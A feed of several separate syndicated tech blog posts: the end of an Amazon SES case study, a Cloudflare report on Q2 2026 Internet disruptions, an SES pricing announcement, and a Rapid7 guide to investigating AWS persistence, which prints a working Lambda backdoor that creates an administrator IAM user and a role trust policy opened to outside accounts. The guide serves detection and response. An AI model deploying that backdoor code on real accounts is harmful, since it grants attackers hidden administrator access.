The domain architecture reinforces sender reputation through isolation. Transactional email sends from a dedicated subdomain with its own DKIM signing, SPF records, and DMARC policy. This ensures mailbox providers evaluate transactional email reputation independently, protecting the deliverability of order confirmations and shipping notifications regardless of what other email streams do.

Multi-tenant email design

The team designed a multi-tenant architecture that separates email streams into distinct tenants with independent configuration sets, dedicated IPs, and domain strategies. Each tenant maintains its own reputation, its own IP warming schedule, and its own deliverability metrics. If one tenant has reputation challenges, that specific tenant will be paused without disrupting other tenants.

This isolation is a core design principle. Transactional email, the email fans depend on, runs in its own tenant with dedicated infrastructure. Commercial email operates in a separate tenant. The architecture ensures each stream scales independently and maintains its own deliverability profile.

Real-time observability

Amazon SES Virtual Deliverability Manager (VDM) gives the Fanatics Commerce team a real-time, centralized view of key deliverability metrics including open rates, bounce rates, and complaint rates at the tenant or configuration set level. With VDM, the team is able to spot deliverability shifts early, diagnose issues with confidence, and take action before fans ever notice a problem in their inbox.

Scaling with the seasons

Sports merchandise is inherently seasonal. The platform needed to handle volume swings, from baseline traffic to peak holiday and playoff demand, without degrading deliverability.

During the 2025 holiday season, the platform scaled sending volume by 48x in five months, from initial rollout to full peak capacity across Black Friday, Cyber Monday, and the holiday gifting season. The architecture handled this surge while preserving deliverability, demonstrating that the multi-tenant design and managed dedicated IPs absorb seasonal spikes while maintaining consistent inbox placement rates.

The team phased their rollout by email type and volume, monitored deliverability metrics at each stage, and adjusted sending patterns based on real time feedback from mailbox providers. As the volume scales rapidly, this methodical approach ensured deliverability remained high.

The partnership model

This platform succeeded because of the partnership between Fanatics Commerce and AWS. The engagement brought together an account team TAM, a Solutions Architect, and a Worldwide Specialist SA, each contributing a different perspective.

The TAM coordinated the engagement by connecting Fanatics Commerce engineering with AWS specialists and driving architecture reviews from initial planning through peak holiday season scale.

Rajat Banerjee, Senior Manager of Engineering at Fanatics Commerce, led this initiative end to end from platform design all the way through production rollout. He and his team designed the domain and subdomain strategy that protects sender reputation across brands and ran a phased migration that scaled sending volume to full peak capacity without any disruption to delivery. SES built real-time analytics and reporting pipelines that give team visibility into delivery rates, bounces, and engagement. That visibility transformed incident response and helped the team optimize sending behavior at scale.

This model, customer engineering plus a cross-functional AWS team, accelerated decisions and shortened the feedback loop between architecture questions and production answers. The team had direct access to SES product expertise whenever they needed it, which enabled them to make timely informed decisions.

What’s next

Tenant-level isolation within SES – Handling each tenant’s sending, reputation, and operational signals independently end to end.

Deep linking from transactional emails into the Fanatics mobile app so fans can tap a link in an order or shipping email and land directly on the right screen in the app instead of the web.

Conclusion

Fanatics Commerce set out to build an email platform that matches the speed and reliability fans expect from the brand. By choosing Amazon SES and investing in purpose-built architecture, multi-tenant isolation, managed dedicated IPs, domain-level reputation control, and real-time observability, the team eliminated the operational trade-offs that come with scaling large email systems.

The results speak for themselves: the platform scaled sending volume 48x in five months, maintained high inbox placement rates through peak holiday and playoff demand, and gave the engineering team the visibility to diagnose and resolve deliverability issues in minutes rather than days.

More importantly, this platform frees the Fanatics Commerce team to focus on what matters most, building great fan experiences rather than managing IP reputation and chasing deliverability problems. Every order confirmation that lands in a fan’s inbox on time is a moment of trust earned.

Whether you’re sending millions of emails or only beginning to outgrow your current setup, the patterns in this post apply at any scale. Start by identifying where your current email infrastructure makes you choose between deliverability and growth. Amazon SES is built so you don’t have to.

To learn more about Amazon SES, visit the Amazon SES product page. To explore the Fanatics Commerce AWS journey, read Migration at Scale: The Fanatics Commerce AWS Journey.


About the authors

Natural disasters and government interference: examining Q2 2026’s major Internet disruption event

Post Syndicated from Lai Yi Ohlsen original https://blog.cloudflare.com/q2-2026-internet-disruption-summary/

Like most infrastructure, the Internet's fragility is easy to overlook — as long as it's working. When it fails, its complexity comes into full view. Cloudflare is in a unique position to detect and document the moments when one of the interrelated systems the Internet depends on breaks down and connectivity suffers as a result. Each quarter, we summarize the disruptions we detect and annotate on Cloudflare Radar.

In Q2 2026, Super Typhoon Sinlaku just north of Guam caused the longest outage, while government-mandated shutdowns during exam periods in Sudan were the most frequent. Iran restored national Internet access, reconnecting its citizens to the global network after an 88-day blackout, even as damage from drone strikes continued to disrupt AWS infrastructure elsewhere in the region. Finally, a cable cut in Saint Lucia and the distribution of faulty DNSSEC signatures in Germany underscored the fragility of Internet infrastructure, but also the remarkable stability these regional and global systems maintain when operating normally.

Here we will walk through the most significant Internet disruptions we observed in the second quarter of 2026, drawing on traffic data from Cloudflare Radar to show how each unfolded and what it meant for users on the ground. As always, this is a summary of notable, confirmed disruptions rather than an exhaustive list; a fuller view of detected traffic anomalies is available in the Cloudflare Radar Outage Center

Natural disasters and electricity cause disruptions in Guam, Venezuela, and Tanzania

Super Typhoon Sinlaku, the strongest storm of the 2026 Pacific typhoon season so far, tracked through the Mariana Islands in mid-April, passing just north of Guam. Though the island was spared a direct hit, the storm brought tropical-storm-force winds, knocking out power across Guam and disrupting water systems, which had a direct impact on Internet connectivity. Traffic from the territory fell as much as 80% below expected levels from April 13 to 14. 

Two months later, on June 24, two major earthquakes struck northern Venezuela within about a minute of each other, in Yumare and San Felipe, followed by an aftershock near the coast outside of Caracas. The first 7.5 magnitude earthquake took place at roughly 22:04 UTC (18:04 local time). The immediate impact of these events can be seen in Radar, which shows a sharp decrease in both HTTP bytes transferred at the same time as the earthquakes. This decrease can be seen particularly well in Fibex Telecom, which, according to APNIC data, has 1.6 million estimated users. The drop is also visible for CANTV, the state-owned incumbent, and VNET, a slightly smaller regional ISP. 

Across the Atlantic just a few days later, a power outage in Tanzania on June 27 caused a sharp drop in HTTP traffic there that lasted for at least five hours. While distinct in cause from the country's election-related blackout in October 2025 (a deliberate government action rather than an infrastructure failure) the resulting telemetry and user impact were nearly identical: a drastic loss of connectivity that left residents unable to communicate with loved ones or access critical news. 

It is striking how such fundamentally different events leave such similar footprints in the data and user experience. Taken together, these weather-related and power-driven disruptions demonstrate the immense impact the physical world can have on the digital, and the importance of Internet resilience and of building networks with enough redundancy in power, routing, and physical paths to withstand inevitable shocks.

Governments and geopolitics impact connectivity in Iran, UAE, Iraq and Sudan

Starting on May 26, Radar began seeing signs of Iran's previously announced Internet restoration, the tentative end of an 88-day shutdown that had left the country almost entirely offline since it began on February 28. On May 27, Radar reported that traffic had been restored to 40% of its pre-outage levels, a partial reopening consistent with reports that access was being reintroduced selectively rather than all at once. Since then, we have seen HTTP bytes climb to as high as 90% before settling back to roughly 59% of pre-shutdown levels. This volume is consistent with the traffic we observed in February, a window between this recent shutdown and a previous one in January, suggesting that connectivity has returned to something like its most recent pre-shutdown baseline rather than fully normalizing. In our 2026 World Cup analysis, Iran stood out as a solo outlier: While traffic in most participating countries rose and fell with match schedules, Iran's readings were dominated instead by the contrast between its post-restoration levels and the near-complete loss of connectivity that had preceded them.

Meanwhile, HTTP traffic to me-central-1, an AWS cloud region located in the United Arab Emirates, has remained low, aligning with AWS service reports on April 30 that the region "has suffered damage as a result of the conflict in the Middle East and is currently unable to reliably support customer applications." This update follows the reports on March 3 that facilities in both UAE and Bahrain “have experienced physical impacts to infrastructure as a result of drone strikes.” In the UAE, two facilities were “directly struck” and in Bahrain a drone strike near the facility caused “physical impact” to their infrastructure. The decreased traffic is the downstream signature of physical damage to the underlying data center infrastructure rather than a network fault, and it continues to affect the websites and applications hosted in that region, regardless of their own availability.

The second quarter of 2026 also included three government-mandated shutdowns in Iraq (on June 2, June 11, and June 28) as well as 10 in Sudan between April 13 and 23, all of which were imposed to prevent cheating on national exams — a seasonal pattern we have documented across multiple prior quarters in both countries. The outages in Sudan followed a consistent rhythm, each lasting approximately 3.5 hours from 11:45 to 15:15 UTC (13:45 to 17:15 local time), timed to the exam window. In Iraq the outages were shorter, lasting about 90 minutes each, and likewise scheduled around the hours in which exams were administered.

Each of these examples, whether a restoration or a disruption, illustrates the significant control governments exert over their national connectivity, and the ease with which access can be switched off, throttled, or selectively reintroduced as a matter of policy rather than infrastructure.

Infrastructure vulnerabilities affect users in Germany and Saint Lucia 

On May 5, a DNSSEC key rollover at DENIC, the registry for Germany's .de domain, started producing invalid signatures. These key rollovers are the periodic replacement of the cryptographic keys used to sign a zone's DNS records; they are a routine but crucial piece of maintenance, as resolvers that validate DNSSEC will only trust answers whose signatures match the current published keys. In other words, if the digital signatures don't match expected values, the resolver assumes the site has been tampered with and cuts off access. When invalid signatures started being produced, validating resolvers worldwide rejected every request for a .de website and returned SERVFAIL errors until normal operation was restored at 23:15 UTC (01:15 local time on May 6). 

Cloudflare Radar observed worldwide .de query volume rise during the outage. While perhaps initially counterintuitive, this is because failed answers are effectively uncacheable, so lookups normally served silently from cache instead had to be re-resolved and retried repeatedly, causing a sharp increase in queries.

From a user's perspective, the incident was experienced not as a DNS or cryptographic failure but simply as a wave of .de websites and services suddenly becoming unreachable. Though users were still able to access sites that did not use the .de TLD, the experience included pages failing to load, email bouncing, and apps timing out, all of which can mirror the experience of an outage. You can read more about DNSSEC and the impact of the events on our blog.

In the Caribbean, an infrastructure failure caused a similar drop in availability. On June 21, HTTP request traffic from Karib Cable’s network fell to essentially zero by around 21:00 UTC (17:00 local time), and remained flat for the better part of a day before recovering to expected levels around 17:00 UTC on June 22 (13:00 local time). The outage was reportedly caused by a fiber cut near the island, a familiar hazard for Caribbean networks that depend on a small number of terrestrial and submarine paths to reach the wider Internet, meaning a single break can sever a disproportionate amount of capacity. Because Karib Cable is one of the largest providers, the loss was also visible at the country level, with Saint Lucia's overall traffic dropping approximately 60% against the prior week for the duration of the cut.

Radar continues to monitor disruptions

The second quarter of 2026 saw Internet disruptions arise from a wide range of causes, including severe weather, an earthquake, power outages, government-directed shutdowns, damage to cloud infrastructure, cable cuts, and a DNSSEC misconfiguration. As these events demonstrate, the Internet depends on a complex set of interrelated systems, and a failure in any one of them can result in a loss of connectivity.

The Cloudflare Radar team is constantly monitoring for Internet disruptions, sharing our observations on the Cloudflare Radar Outage Center, via social media, and in posts on blog.cloudflare.com. Follow us on social media at @CloudflareRadar (X), noc.social/@cloudflareradar (Mastodon), and radar.cloudflare.com (Bluesky).

Introducing Amazon Simple Email Service (SES) pricing plans

Post Syndicated from Advait Gomkale original https://aws.amazon.com/blogs/messaging-and-targeting/introducing-amazon-simple-email-service-ses-pricing-plans/

Businesses rely on email to deliver critical notifications, nurture customer relationships, and grow revenue. But their success depends on more than just sending the right message. It depends on emails getting delivered to the inbox and ultimately getting read. When emails land in spam or go unread, the business impact is real and measurable: missed engagement, eroded customer trust, and lost revenue.

Most email providers offer capabilities to help improve deliverability, including dedicated sending infrastructure, reputation monitoring, address validation, and inbox placement testing. But these capabilities are typically sold as individual add-ons, each priced separately. Reaching the inbox consistently shouldn’t require evaluating dozens of options independently.

That changes today with Amazon SES pricing plans. Pick a plan, and the right capabilities are already included at up to 22% less than purchasing them individually.

Amazon SES pricing plans

Amazon SES offers three plans: Essentials, Pro, and Enterprise. Each builds on the one before it, offering more capability, so you choose the one that fits your email needs.

Essentials

Get started with Amazon SES. Monitor how emails perform and get insights to help improve deliverability over time.

Send email reliably at scale and see what’s happening: which emails are landing, which are bouncing, and what needs attention. Essentials gives you the data and recommendations to guide your improvements, with the flexibility to upgrade to Pro as your deliverability needs grow.

Pro

Get higher deliverability with dedicated infrastructure and proactive reputation protection. Reach the inbox consistently as sending scales.

Pro shifts deliverability from reactive to proactive. With Pro, your sending runs on dedicated IPs, keeping your reputation isolated from other senders. Invalid addresses are caught before they bounce, and you see inbox placement across providers your domains send through, not just within SES. Pro helps you prevent problems, not just discover them after the fact.

Enterprise

Get the most out of Amazon SES. Reach the inbox reliably, stay resilient globally, and isolate sending reputation across workloads.

Everything in Pro, plus resilience that keeps email flowing if a region goes down, reputation isolation across separate workloads, and an annual deliverability assessment. This is the most comprehensive SES experience available.

For full pricing details and a complete feature comparison across all three plans, visit the Amazon SES Pricing page.

Getting started

Starting July 21, 2026, all new SES accounts begin on the Essentials plan. Returning customers who have not sent or processed email through SES since June 1, 2025 also begin on the Essentials plan. From there, you can upgrade to Pro or Enterprise, or switch to à-la-carte pricing at any time. Customers who have sent or processed email through SES on or after June 1, 2025 remain on à-la-carte pricing and can switch to a plan anytime.

If you are new to AWS, the AWS Free Tier provides up to $200 in credits during your first six months that you can apply toward Amazon SES pricing plans. As of July 21, 2026, the SES-specific free tier (3,000 email message charges per month for your first 12 months after first SES use) is no longer available for new customers. If you are currently on the SES-specific free tier, your benefits continue for the remainder of your 12-month period.

To get started, sign in to the Amazon SES console and navigate to the Pricing plan section. To learn more, visit the Amazon SES Pricing page or explore the Amazon SES documentation.


About the Authors

Investigating Persistence Mechanisms in AWS

Post Syndicated from Jan Blažek original https://www.rapid7.com/blog/post/dr-investigating-aws-persistence-mechanisms

Overview

In the cloud, your infrastructure may be short-lived, but an attacker’s persistence doesn’t have to be. While your environment scales and changes in seconds, adversaries are embedding themselves into your IAM policies, Lambda functions, and federated sessions, creating invisible footholds that survive long after you believe an incident is closed.

Persistence in AWS is not just a technical oversight; it is a fundamental business risk. If you cannot see how an attacker has rooted themselves in your environment, you cannot contain them. This article moves beyond theory to provide the critical detection logic, investigation workflows, and actionable response steps required to hunt down hidden persistence and reclaim your AWS environment. This reference enables Rapid7 Incident Command customers to investigate and understand AWS alert behaviors.

Persistence technique: IAM user

One of the most common persistence techniques is maintaining access by creating or modifying Identity and Access Management (IAM) users. An attacker can issue the iam:CreateUser API call to create a new IAM user. In addition to establishing persistence, threat actors may use this API call to create a separate user for each collaborator, allowing them to divide work and perform activities independently.

During incident investigations, we have observed that malicious iam:CreateUser actions are usually simple and often include only the userName of the newly created user. Example request and response parameters for this API call are shown in Listing 1, where an attacker creates a new IAM user named malicious-user.

   "requestParameters": {
      "userName": "malicious-user"
    },
    "responseElements": {
      "user": {
        "path": "/",
        "userName": "malicious-user",
        "userId": "AIDAS7R4L4RPRYBWCIXXX",
        "arn": "arn:aws:iam::123456789012:user/malicious-user",
        "createDate": "Mar 9, 2026, 9:16:35 AM"
      }
    },

Listing 1: Example request and response parameters of the iam:CreateUser API call

Creating an IAM user does not, by itself, provide threat actors with a particularly effective persistence mechanism, because the newly created user has no credentials for authentication and no identity-based policies assigned. Therefore, several follow-up actions usually occur. These actions typically focus on adding credentials and assigning permissions to the newly created user. Specific examples include:

Credential addition:

  • iam:CreateAccessKey — Creates a long-term credential for the target IAM user. This may also be used for lateral movement when the source user differs from the target user.

  • iam:CreateConsoleProfile — Creates credentials that allow the user to authenticate through the AWS Console interface. Like the previous API call, this may also be used for lateral movement when performed on a different IAM user.

Permission addition:

  • iam:AttachUserPolicy — Attaches the specified managed policy to the user.

  • iam:PutUserPolicy — Adds or updates an inline policy document embedded in the specified IAM user.

  • iam:AddUserToGroup — Adds the user to the specified group.

All of these API calls use standardized request parameters, which makes it possible to investigate actions performed on the newly created user with the following LEQL query:

where(service="cloudtrail" and source_json.requestParameters.userName = "malicious-user")

Listing 2: LEQL query for investigating actions performed on an IAM user

Excluding the source user who originally created the malicious IAM user can help reveal other compromised accounts involved in the activity.

To get an overview of the most important actions performed on the malicious entity, the following query can be used:

where(service="cloudtrail" and source_json.requestParameters.userName = "malicious-user" and not source_json.eventName ISTARTS-WITH-ANY ["Get", "List", "Describe"] and source_json.errorCode != /.+/)groupby(source_json.userIdentity.arn, source_json.eventName)

Listing 3: LEQL query to get an overview of the most important actions performed on the user

The query in Listing 3 displays a table of successful actions performed by user identities targeting the compromised user. It filters out common read operations that may occur regularly in the environment and also excludes unsuccessful actions.

Incident Command parses the source user into a separate field, which makes it easy to examine all actions performed by IAM users. To get a list of actions performed by the newly created IAM user, the following LEQL query can be used:

where(service="cloudtrail" and source_account = "malicious-user")groupby(source_json.eventName)

Listing 4: LEQL query for actions performed by the user

Recommended steps for newly created IAM users

When investigating and remediating persistence involving newly created IAM users, Rapid7 recommends the following steps:

  • Review the actions performed by both the newly created IAM user and the user that initiated its creation to understand the scope and intent of the activity.

  • Examine authentication activity for unusual locations or patterns, and identify any additional resources that may have been accessed by the same threat actor.

  • Where possible, apply a deny-all IAM policy to all compromised entities to immediately prevent further malicious actions.

  • Rotate credentials for all compromised accounts to prevent further unauthorized access.

  • Remove any unknown or unauthorized IAM users to fully remediate persistence.

Persistence technique: Modifying assume role policies

An IAM role is an entity that has specific permissions that can be assumed to whoever needs it and has necessary permissions to do so. Roles are intended to provide access to resources to users, applications, and services that normally don’t have access to the required AWS resources. Unlike IAM users, roles do not have long-term access keys so they provide only short-term credentials when they are assumed.

During an attack, threat actors can establish persistence by modifying a role’s assume role policy. By altering this policy, they can allow users from an attacker-controlled AWS account to assume the role within the victim’s account.This form of persistence can be achieved by creating a fresh new role using iam:CreateRole with already backdoored assume role policy, or via editing an assume role policy that already exists using iam:UpdateAssumeRolePolicy API call. Listing 5 shows an example of an assumed role policy document that allows access from external AWS accounts.

{
    "Version": "2012-10-17",
    "Id": "...",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::111111111111:root"
            },
            "Action": "sts:AssumeRole"
        },
        {
            "Sid": "Statement2",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::222222222222:root"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

Listing 5: Assume role policy allows external access

The document contains two external account IDs, 111111111111 and 222222222222, and allows anyone with necessary permissions in the attacker’s account to assume the role.

In addition to investigating the user who performed the action to confirm its compromise, there are additional queries that could reveal other potentially malicious activity. The LEQL query in Listing 6 shows all actions performed on the malicious-role that has a suspicious assume role policy statement. The query also filters our common noise in AWS environments.

where(service = "cloudtrail" and source_json.requestParameters.roleName = "malicious-role" and not source_json.userIdentity.invokedBy IIN ["resource-explorer-2.amazonaws.com", "access-analyzer.amazonaws.com"])

Listing 6: LEQL query to show actions performed on the suspicious role

When this persistence technique is observed, it’s recommended to search for activity originating from malicious accounts. When iam:AssumeRole action is observed, the returned temporary key can be extracted and its associated activity can be further examined.

where(service = "cloudtrail" and source_json.userIdentity.accountId IN ["111111111111", "222222222222"])

Listing 7: LEQL query showing actions from the suspicious AWS accounts

Also, it’s recommended to search for other potentially backdoored policies that may have been created within the environment. The LEQL query in Listing 8 shows a table of principal IDs that wrote the previously identified malicious AWS accounts into specific roles.

where(service = "cloudtrail"  and source_json.eventName IIN ["CreateRole", "UpdateAssumeRolePolicy"] and source_json.eventSource = NOCASE("iam.amazonaws.com") and source_json.requestParameters.assumeRolePolicy, source_json.requestParameters.policyDocument ICONTAINS-ANY ["111111111111", "222222222222"])groupby(source_json.userIdentity.principalId, source_json.requestParameters.roleName)

Listing 8: LEQL query showing roles with assume role referring to the suspicious AWS accounts

Persistence technique: Lambda abuse

AWS Lambda is a serverless compute service that allows users to execute code without managing servers. Lambda functions contain code that can be triggered by various AWS services, such as API Gateway, CodeCommit, Config, and others.

Threat actors may abuse Lambda functions to upload malicious code that maintains access to the environment when invoked. The code inside a Lambda function can perform any operation, as long as the function has the necessary permissions assigned to it. However, a common malicious use case is provisioning new privileged IAM users.

import string
import boto3
import uuid
import json
import random

def lambda_handler(event, context):
    iam = boto3.client('iam')

    user_name = f"user-{uuid.uuid4().hex[:8]}"
    password = ''.join(random.choices(string.ascii_letters + string.digits + string.punctuation, k=10))

    try:
        response = iam.create_user(UserName=user_name)
        print(f"User {user_name} created successfully")

        iam.create_login_profile(
            UserName=user_name,
            Password=password,
            PasswordResetRequired=False
        )

        iam.attach_user_policy(
            UserName=user_name,
            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
        )

        account_id = context.invoked_function_arn.split(":")[4]
        iam_login_url = f"https://{account_id}.signin.aws.amazon.com/console"

        return {
            'statusCode': 200,
            'body': json.dumps({
                'message': f'User {user_name} created successfully',
                'login_url': iam_login_url,
                'username': user_name,
                'password': password
            })
        }
    except Exception as e:
        return {
            'statusCode': 500,
            'body': json.dumps({'error': error_message})
        }

Listing 9: Backdoor Python Lambda code

The code in Listing 9 creates a new IAM user with a login profile and attaches the AdministratorAccess policy to it. The login credentials are returned to the attacker in the response from the Lambda function. To execute, the Lambda function must be triggered. Threat actors may create various triggers depending on how the malicious code operates. In scenarios like the example above, the Lambda function is usually assigned a public URL that a threat actor can call to invoke it.

One way the function can be invoked via a public URL is by using the lambda:CreateFunctionUrlConfig and lambda:AddPermission sequence. The lambda:CreateFunctionUrlConfig API call takes the function name as an argument and returns the function URL. This URL can then be used by threat actors to invoke the function. The second API call, lambda:AddPermission, assigns permission that allows the function to be invoked from the URL.

"requestParameters": {
      "functionName": "backdoor_function",
      "authType": "NONE",
      "cors": {
        "allowHeaders": [
          "*"
        ], 
        "allowMethods": [
          "GET",
          "POST"
        ], 
        "allowOrigins": [
          "*"
        ] 
      }
    },
    "responseElements": {
      "functionUrl": "https://uniqueaddress.lambda-url.us-east-1.on.aws/",
      "functionArn": "arn:aws:lambda:us-east-1:123456789012:function:backdoor_function",
      "authType": "NONE",
      "cors": {
        "allowHeaders": [
          "*"
        ], 
        "allowMethods": [
          "GET",
          "POST"
        ], 
        "allowOrigins": [
          "*"
        ] 
      }
    }

Listing 10: Example request and response elements of the lambda:CreateFunctionUrlConfig function

Another way to trigger a Lambda function via a URL is to create an API Gateway endpoint and use apigateway:CreateIntegration or apigateway:PutIntegration to set the destination to a Lambda function. The action logged in Listing 10 creates an integration to trigger version 1 of a Lambda function named backdoor_lambda_function. When investigating, it is important to check the content of the version of the Lambda function being triggered, as there may be legitimate-looking code in later versions used to hide malicious code.

  "eventSource": "apigateway.amazonaws.com",
    "eventName": "CreateIntegration",
    "awsRegion": "us-east-1",
    "requestParameters": {
      "integrationMethod": "GET",
      "integrationType": "AWS_PROXY",
      "payloadFormatVersion": "2.0",
      "integrationUri": "arn:aws:lambda:us-east-1:123456789012:function:backdoor_lambda_function:1",
      "apiId": "xxxxxxx"
    },

Listing 11: Part of apigateway:CreateIntegration CloudTrail log

There are various other ways the backdoor function may be implemented. For example, threat actors may use events:PutRule to set up event-driven execution and then use events:PutTargets to assign the Lambda function as a target. The function may then establish a backdoor and send credentials to attacker-controlled C2 servers.

Suspicious Lambda function activity: Next steps

This section contains recommended actions and investigation steps to take whenever Incident Command highlights activity originating from a Lambda function as suspicious. During investigations, focus on answering the following questions:

  • Is the Lambda function known and authorized?

  • What code invoked the suspicious activity?

  • Who created the Lambda function?

  • How was the Lambda function triggered?

  • What actions were performed by the function?

The LEQL query shown in Listing 12 provides an example that displays successful actions performed by a Lambda function named malicious-function, grouped by event source.

where(service = "cloudtrail" and source_json.userIdentity.arn ICONTAINS "/malicious-function" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)

Listing 12: LEQL query showing an overview of actions performed by the Lambda function

Malicious activity performed by Lambda functions can originate from malicious code within the function or from the exploitation of a legitimate application. If malicious code is identified, the user who inserted it is likely to be compromised as well. The query in Listing 13 displays principal IDs and their associated API calls affecting the Lambda function, including the techniques described in this section and function invocation events (lambda:Invoke API call).

where(service = "cloudtrail" and source_json.requestParameters.functionName,source_json.requestParameters.putIntegrationInput.uri, source_json.requestParameters.integrationUri, source_json.requestParameters.targets.arn ICONTAINS "malicious-function" and not source_json.userIdentity.invokedBy IIN ["resource-explorer-2.amazonaws.com", "config.amazonaws.com"])groupby(source_json.userIdentity.principalId, source_json.eventSource, source_json.eventName)

Listing 13: LEQL query showing actions performed on the Lambda function

Persistence technique: Federated user session creation

Threat actors may use the Security Token Service (STS) API call to create a federated user session and maintain access to an AWS environment even after some standard containment actions have been completed. GetFederationToken returns a set of temporary security credentials for a federated user principal. The API call must be made using long-term IAM user credentials, which means activity from a federated user should always be investigated together with the IAM user that created the session.

This technique is especially important during incident response because disabling or deleting the original access key does not automatically invalidate temporary credentials that have already been issued. Those credentials remain usable until they expire, unless their effective permissions are blocked. As a result, responders should treat the federated session as a separate active identity and investigate both the session activity and the source IAM user activity.

The effective permissions of a federated user are based on the permissions available to the IAM user that requested the token and any session policies passed in the GetFederationToken request. A session policy cannot grant permissions that the source IAM user does not already have. However, if the compromised IAM user is highly privileged, the resulting federated session may still provide broad access to the environment.

When Incident Command alerts on suspicious activity performed by a federated user, the userIdentity field in CloudTrail may look similar to the example below:

"userIdentity": {
  "type": "FederatedUser",
  "principalId": "123456789012:None",
  "arn": "arn:aws:sts::123456789012:federated-user/None",
  "accountId": "123456789012",
  "accessKeyId": "ASIAS8T6L4RPJJGXXXX",
  "sessionContext": {
    "sessionIssuer": {
      "type": "IAMUser",
      "principalId": "AIDAIT67N6AB4IH6XXXXX",
      "arn": "arn:aws:iam::123456789012:user/compromisedUser",
      "accountId": "123456789012",
      "userName": "compromised_user"
    },
    "attributes": {
      "creationDate": "2026-04-11T09:13:11Z",
      "mfaAuthenticated": "false"
    }
  }
},

Listing 14: userIdentity field of an event performed by a federated user

In this example, the federated user name is None, which comes from the name parameter supplied to STS. The sessionContext.sessionIssuer field identifies the IAM user that created the federated session. This is the most important pivot point during the investigation because the source IAM user is likely to be compromised.

To review successful actions performed by the federated user, defenders can use the following LEQL query:

where(service = "cloudtrail" and source_json.userIdentity.arn = "arn:aws:sts::123456789012:federated-user/None" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)

Listing 15: LEQL query showing all successful actions performed by the federated user

To focus on higher-signal activity, defenders can exclude common enumeration actions:

where(service = "cloudtrail" and source_json.userIdentity.arn = "arn:aws:sts::123456789012:federated-user/None" and source_json.errorCode != /.+/ and not source_json.eventName ISTARTS-WITH-ANY ["Get", "List", "Describe"])groupby(source_json.eventSource, source_json.eventName)

Listing 16: LEQL query showing successful non-enumeration actions performed by the federated user

When reviewing actions performed by federated users, pay close attention to activity involving IAM, CloudTrail, GuardDuty, Organizations, KMS, Secrets Manager, S3, Lambda, and EC2. IAM activity is particularly important. Federated user credentials cannot call IAM APIs via AWS CLI and AWS API, but this limitation does not apply to AWS Management Console sessions. Therefore, successful IAM activity associated with a federated user may indicate that the threat actor generated console access by using the signin:GetSigninToken and signin:ConsoleLogin API sequence.

Defenders can review sts:GetFederationToken calls to review federated tokens creations performed by the source user. The API calls may be further scoped down by adding source_json.responseElements.credentials.accessKeyId = “malicious_access_key”, which will display the exact API call that was used to obtain the temporary token. This may be useful when determining Initial Access Vector, as the API call may contain the initially leaked long-term credentials.

where(service = "cloudtrail" and action = "GetFederationToken" and source_json.eventSource = "sts.amazonaws.com" and source_json.requestParameters.name = "None" and source_json.userIdentity.userName = "compromised_user")

Listing 17: LEQL query showing the GetFederationToken event that created the federated user credentials

During the investigation, responders should focus on answering the following questions:

  • Which IAM user created the federated session?

  • What actions did the federated user perform after the token was issued?

  • Did the actor use the federated session to access the AWS Management Console?

  • Did the federated user create or modify additional persistence mechanisms?

  • What other suspicious activities were performed?

When compromise is confirmed, Rapid7 recommends the following steps:

  • Apply a deny-all policy to the IAM user that created the federated session. Keep the deny in place until the federated credentials have expired.

  • Rotate or delete all affected access keys associated with the compromised IAM user.

  • Remove any additional persistence that might have been created.

Summary

AWS persistence often relies on abusing legitimate identity and automation features such as IAM users, access keys, assume role policies, Lambda functions, and federated user sessions. Many malicious activities are made possible by overly permissive policies, so organizations should regularly review IAM permissions, trust policies, and resource-based policies, and use Service Control Policies to enforce preventative guardrails across AWS accounts.

Effective detection and response requires pivoting from the alerted activity to related identities, credentials, sessions, policies, and resources to determine whether additional persistence exists. Rapid7 MDR provides comprehensive detection and incident response services to help organizations identify suspicious AWS activity, contain compromised identities, and harden cloud environments against repeat abuse.

Build an AI campaign orchestrator with Amazon Bedrock and AWS End User Messaging

Post Syndicated from Ruchikka Chaudhary original https://aws.amazon.com/blogs/messaging-and-targeting/build-an-ai-campaign-orchestrator-with-amazon-bedrock-and-aws-end-user-messaging/

Marketing teams running large-scale campaigns often send the same message across SMS, WhatsApp, and email regardless of how each customer engages or how many messages they’ve already received that week. This pattern wastes budget on channels customers ignores and pushes promotional content toward frustrated or message-fatigued customers. A MarketingSherpa study found that 45% of consumers who unsubscribe from email marketing cite messages being too frequent as the reason. Over-messaging therefore erodes the audience a brand has paid to acquire. This post shows how to build a campaign orchestrator on AWS End User Messaging and Amazon Bedrock. The orchestrator predicts the best channel for each customer, adapts content per channel, and holds back messages to fatigued or unhappy customers.

In this post, we describe the following capabilities for enterprise marketing teams:

  • Channel prediction that selects SMS, WhatsApp, or email for each customer based on engagement history
  • Content adaptation that takes a single campaign brief and produces channel-appropriate variants: a 160-character SMS, a longer WhatsApp template message, and an HTML email
  • Sentiment-aware suppression that holds back promotional messages when a customer’s stored sentiment score is negative
  • Frequency tracking across channels that lowers send rate when a customer shows disengagement signal
  • Natural-language campaign launch that turns a typed instruction such as “Send the Andaman package to Mumbai customers who haven’t booked in six months” into a segmented, channel-routed send

Prerequisites

You need the following to deploy this solution-

  • An AWS account
  • The AWS Serverless Application Model (AWS SAM) CLI installed locally
  • A WhatsApp Business account linked to AWS End User Messaging Social
  • Amazon Bedrock model access granted for an Anthropic Claude model in your AWS Region
  • (Optional) An Amazon SageMaker AI endpoint for channel prediction. The orchestrator calls the endpoint when it’s configured and falls back to the customer’s stored preferred channel otherwise.

Solution overview

A marketer types a plain-language instruction into the campaign launcher. Amazon API Gateway forwards the instruction to an AWS Lambda function, which starts an AWS Step Functions state machine. The state machine walks the campaign through seven stages. Each stage moves the campaign closer to dispatching the right message on the right channel. The stages read and write customer state in Amazon DynamoDB and call Amazon Bedrock for language tasks. The final stage dispatches messages through AWS End User Messaging or Amazon Simple Email Service (Amazon SES).

When you turn on semantic segmentation, the state machine also queries an Amazon OpenSearch Serverless collection. The collection holds customer embeddings.

To deploy the sample in your account, refer to the GitHub repository.

Figure 1 shows the campaign orchestration system.

Message processing

